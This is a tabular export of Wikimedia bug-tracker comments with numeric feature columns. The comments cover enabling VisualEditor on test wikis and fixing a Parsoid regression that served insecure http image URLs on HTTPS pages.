201630,Enable VisualEditor extension on test.wikipedia.org and test2.wikipedia.org for all namespaces; for NS0 and NS2 on mediawiki.org,Related URL: https://gerrit.wikimedia.org/r/61250 (Gerrit Change I98028df0bcb621e8f13a2f8ab130e86a9010ebeb),,,1367130305,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3qimgh7ycaviacztiyae,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I98028df0bcb621e8f13a2f8ab130e86a9010ebeb)
201625,Enable VisualEditor extension on test.wikipedia.org and test2.wikipedia.org for all namespaces; for NS0 and NS2 on mediawiki.org,"http://test.wikipedia.org/wiki/Special:Preferences#mw-prefsection-editing allows to ""Enable VisualEditor (only in the main and user namespaces)""
http://test2.wikipedia.org/wiki/Special:Preferences#mw-prefsection-editing does not offer enabling VisualEditor.

Roan: As this is assigned to you, do you plan to work on this and is this high priority? If not, please reset. Thanks.",,,1366908803,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3qimgh7ycaviacztiyae,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,2.0,4.0,4.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,16.0,2.0,4.0,7.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,4.0,13.0,5.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.581818181818182,0.7454545454545455,"URL allows to ""Enable VisualEditor (only in the main and user namespaces)""
URL does not offer enabling VisualEditor.

Roan: As this is assigned to you, do you plan to work on this and is this high priority? If not, please reset. Thanks."
201620,Enable VisualEditor extension on test.wikipedia.org and test2.wikipedia.org for all namespaces; for NS0 and NS2 on mediawiki.org,"I can see ""Enable VisualEditor"" checkbox at en.wikipedia.org[1] but not at test2.wikipedia.org[2].

[1] http://en.wikipedia.org/wiki/Special:Preferences#mw-prefsection-editing
[2] http://test2.wikipedia.org/wiki/Special:Preferences#mw-prefsection-editing",,,1355926606,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-3qimgh7ycaviacztiyae,task_subcomment,,True,c1,1,True,,,-28,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,4.0,7.0,11.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.7777777777777777,0.7407407407407407,"I can see ""Enable VisualEditor"" checkbox at en.wikipedia.org[1] but not at test2.wikipedia.org[2].

[1] URL
[2] URL"
201615,Enable VisualEditor extension on test.wikipedia.org and test2.wikipedia.org for all namespaces; for NS0 and NS2 on mediawiki.org,I believe Roan will be doing this later today.,,,1355343355,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3qimgh7ycaviacztiyae,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.8,1.0,I believe Roan will be doing this later today.
201608,Enable VisualEditor extension on test.wikipedia.org and test2.wikipedia.org for all namespaces; for NS0 and NS2 on mediawiki.org,Apparently there's interest in having VisualEditor enabled on test2.wikipedia.org as well (cf. <http://lists.wikimedia.org/pipermail/wikitech-l/2012-December/065034.html>).,,,1355341331,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-3qimgh7ycaviacztiyae,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,18.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,5.117647058823529,1.0,Apparently there's interest in having VisualEditor enabled on test2.wikipedia.org as well (cf. <URL
45015,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),"When I go to <https://en.wikipedia.org/wiki/User:Trevor_Parscal> and click the ""visualeditor"" tab, my browser console says:

---
The page at https://en.wikipedia.org/wiki/User:Trevor_Parscal displayed insecure content from http://en.wikipedia.org/w?title=Special:FilePath/California_Bay_Area_county_map.svg&width=.
---

Consequently, the pretty green lock icon in Google Chrome turns yellow.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1355327160,1372119634.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_description,resolved,True,c1,1,False,False,True,-29,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,17.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,3.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,3.8461538461538463,0.6923076923076923,"When I go to <URL and click the ""visualeditor"" tab, my browser console says:

---
The page at URL displayed insecure content from URL
---

Consequently, the pretty green lock icon in Google Chrome turns yellow.

--------------------------
**Version**: unspecified
**Severity**: major"
201426,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934071,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
201420,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),https://gerrit.wikimedia.org/r/70344 (Gerrit Change I253b9b7a9b463439e86d7cf7975cd92f9c851e70) | change APPROVED and MERGED [by jenkins-bot],,,1372119634,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,41.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.117647058823529,1.0,GERRIT_URL (Gerrit Change I253b9b7a9b463439e86d7cf7975cd92f9c851e70) | change APPROVED and MERGED [by jenkins-bot]
201413,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),The fix will go out with tomorrow's Parsoid deployment.,,,1372119634,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2727272727272725,1.0,The fix will go out with tomorrow's Parsoid deployment.
201408,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),https://gerrit.wikimedia.org/r/70348 (Gerrit Change Ied95c87fda13dbea2b8c46ad1e96fde1c50c1517) | change APPROVED and MERGED [by jenkins-bot],,,1372119224,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,41.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.117647058823529,1.0,GERRIT_URL (Gerrit Change Ied95c87fda13dbea2b8c46ad1e96fde1c50c1517) | change APPROVED and MERGED [by jenkins-bot]
201403,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),Related URL: https://gerrit.wikimedia.org/r/70348 (Gerrit Change Ied95c87fda13dbea2b8c46ad1e96fde1c50c1517),,,1372117100,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ied95c87fda13dbea2b8c46ad1e96fde1c50c1517)
201400,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),Related URL: https://gerrit.wikimedia.org/r/70344 (Gerrit Change I253b9b7a9b463439e86d7cf7975cd92f9c851e70),,,1372115462,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I253b9b7a9b463439e86d7cf7975cd92f9c851e70)
201395,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),*** Bug 49984 has been marked as a duplicate of this bug. ***,,,1371855005,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49984 has been marked as a duplicate of this bug. ***
201387,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),"We used to use a special page redirect hack, but now use the API to properly retrieve image information including the path. So the new code needs to implement some similar protocol-relative massaging for image URLs, at least for the domains we know to support both http and https.",,,1371603843,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,True,,,-2,,2.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,13.0,0.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,0.0,7.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,4.218181818181818,0.8,"We used to use a special page redirect hack, but now use the API to properly retrieve image information including the path. So the new code needs to implement some similar protocol-relative massaging for image URLs, at least for the domains we know to support both http and https."
201379,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),"Per Roan's comments, moving to Parsoid so they can fix.",,,1371603429,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,23.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.5384615384615383,1.0,"Per Roan's comments, moving to Parsoid so they can fix."
201375,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),"(In reply to comment #7)
> This seems to have been unfixed in production.
> 
Specifically, Parsoid is now once again returning http:// URLs for images (except in labs, where it returns https:// URLs). MZ submitted a fix in December to make these URLs protocol-relative, but this seems to have been unfixed somehow.

Perhaps the repository URL is being grabbed from the API? That would explain why it's now a fully qualified URL, and it might explain the difference between labs and production.",,,1371603136,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,1.0,2.0,0.0,5.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,5.0,0.0,3.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,1.0,0.0,0.0,0.0,13.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,4.0,16.0,3.0,3.0,8.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,3.0,11.0,7.0,1.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,4.031578947368421,0.7263157894736842,"(In reply to comment #7)
QUOTE
QUOTE
Specifically, Parsoid is now once again returning http:// URLs for images (except in labs, where it returns https:// URLs). MZ submitted a fix in December to make these URLs protocol-relative, but this seems to have been unfixed somehow.

Perhaps the repository URL is being grabbed from the API? That would explain why it's now a fully qualified URL, and it might explain the difference between labs and production."
201372,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),"This seems to have been unfixed in production.

Strangely, parsoid.wmflabs.org is now giving me https URLs for images.",,,1371583342,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,4.636363636363637,0.9545454545454546,"This seems to have been unfixed in production.

Strangely, parsoid.wmflabs.org is now giving me https URLs for images."
201367,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),*** Bug 49283 has been marked as a duplicate of this bug. ***,,,1371576350,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49283 has been marked as a duplicate of this bug. ***
201361,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),The page at https://en.wikipedia.org/wiki/User:Trevor_Parscal?veaction=edit displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/f/ff/California_Bay_Area_county_map.svg/38px-California_Bay_Area_county_map.svg.png.,,,1371574794,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,56.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,33.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.777777777777778,0.8888888888888888,The page at URL displayed insecure content from URL
201355,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),"I am getting this issue, on the test page referenced in the bug and others, again. The URLs do not contain Special:FilePath anymore, so perhaps something was changed about  how images are handled that introduced a regression? Reopening this bug since the issue appears to be essentially the same.",,,1371531045,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,2,False,,,-2,,0.0,2.0,0.0,3.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,9.0,2.0,2.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,10.0,3.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,9.0,3.0,2.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,3.0,0.0,0.0,0.0,4.275862068965517,0.8448275862068966,"I am getting this issue, on the test page referenced in the bug and others, again. The URLs do not contain Special:FilePath anymore, so perhaps something was changed about  how images are handled that introduced a regression? Reopening this bug since the issue appears to be essentially the same."
201351,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),Tagging with deploy-train cycle.,,,1357578934,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,1,True,,,-25,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,4.142857142857143,1.0,Tagging with deploy-train cycle.
201347,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),Fixed by <https://gerrit.wikimedia.org/r/38673>.,,,1355449078,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,3.3333333333333335,1.0,Fixed by <GERRIT_URL>.
201342,Parsoid gives VisualEditor insecure content when using HTTPS (should use protocol-relative URLs),Upstream Parsoid bug: bug 42976,,,1355339026,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2fap3nvdrgza3a4h2sj6,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.8333333333333334,Upstream Parsoid bug: bug 42976
